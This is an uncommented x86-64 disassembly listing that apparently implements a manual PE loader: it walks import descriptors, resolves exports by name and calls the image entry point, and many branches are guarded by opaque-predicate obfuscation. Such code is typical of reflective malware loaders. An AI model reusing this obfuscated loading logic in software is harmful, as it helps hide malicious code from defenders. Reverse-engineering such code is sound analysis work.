cmp dword [0x180020a84], 0xa
jl 0x180002152
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002152
jmp 0x180002530
cmp ecx, 0xa
jl 0x1800022fa
test edx, edx
jne 0x180002540
mov rbx, qword [rbp - 0x10]
mov edi, dword [rbx]
mov ebx, dword [rbx + 0x10]
add rbx, r12
mov qword [rbp - 0x18], rbx
add rdi, r12
mov qword [rbp - 0x20], rdi
mov rbx, qword [rbp - 0x20]
mov rbx, qword [rbx]
test rbx, rbx
je 0x18000250e
mov rax, qword [rbp - 0x28]
add rax, rbx
test rbx, rbx
movzx r14d, bx
cmovns r14, rax
cmp ecx, 0xa
jl 0x180002365
test edx, edx
je 0x180002365
jmp 0x180002542
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, qword [rbp - 8]
mov rdx, r14
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x18]
mov qword [rcx], rax
sub rsp, 0x20
mov rcx, rsi
call fcn.1800025d0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002396
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002538
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800023c5
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x18000253a
add r8, r9
mov edx, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add r10, r9
add rdx, r9
mov eax, dword [rdx]
add rax, r9
mov rdi, r15
movzx ebx, byte [rdi]
movzx ecx, byte [rax]
test bl, bl
je 0x1800023f6
add rdi, 1
add rax, 1
cmp bl, cl
je 0x1800023e0
cmp bl, cl
je 0x180002404
add rdx, 4
add r10, 2
jmp 0x1800023d8
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, qword [rbp - 8]
mov rdx, r14
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x18]
mov qword [rcx], rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800024f1
test edx, edx
je 0x1800024f1
sub rsp, 0x20
mov rcx, rsi
call fcn.1800025d0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000247f
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000253c
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800024ae
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x18000253e
add r8, r9
mov edx, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add r10, r9
add rdx, r9
mov eax, dword [rdx]
add rax, r9
mov rdi, r15
movzx ebx, byte [rdi]
movzx ecx, byte [rax]
test bl, bl
je 0x1800024df
add rdi, 1
add rax, 1
cmp bl, cl
je 0x1800024c9
cmp bl, cl
je 0x180002341
add rdx, 4
add r10, 2
jmp 0x1800024c1
add qword [rbp - 0x20], 8
add qword [rbp - 0x18], 8
cmp ecx, 0xa
jl 0x180002311
test edx, edx
je 0x180002311
jmp 0x180002540
add qword [rbp - 0x10], 0x14
cmp ecx, 0xa
jl 0x18000210d
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000210d
jmp 0x1800020f1
jmp 0x180002530
jmp 0x180002532
jmp 0x180002534
jmp 0x180002536
jmp 0x180002538
jmp 0x18000253a
jmp 0x18000253c
jmp 0x18000253e
jmp 0x180002540
jmp 0x180002542
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x1800025b0
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800025b0
mov rsi, qword [rbp]
mov eax, dword [rsi + 0x28]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [rsi + 0x28]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x1800025b0
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002576
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret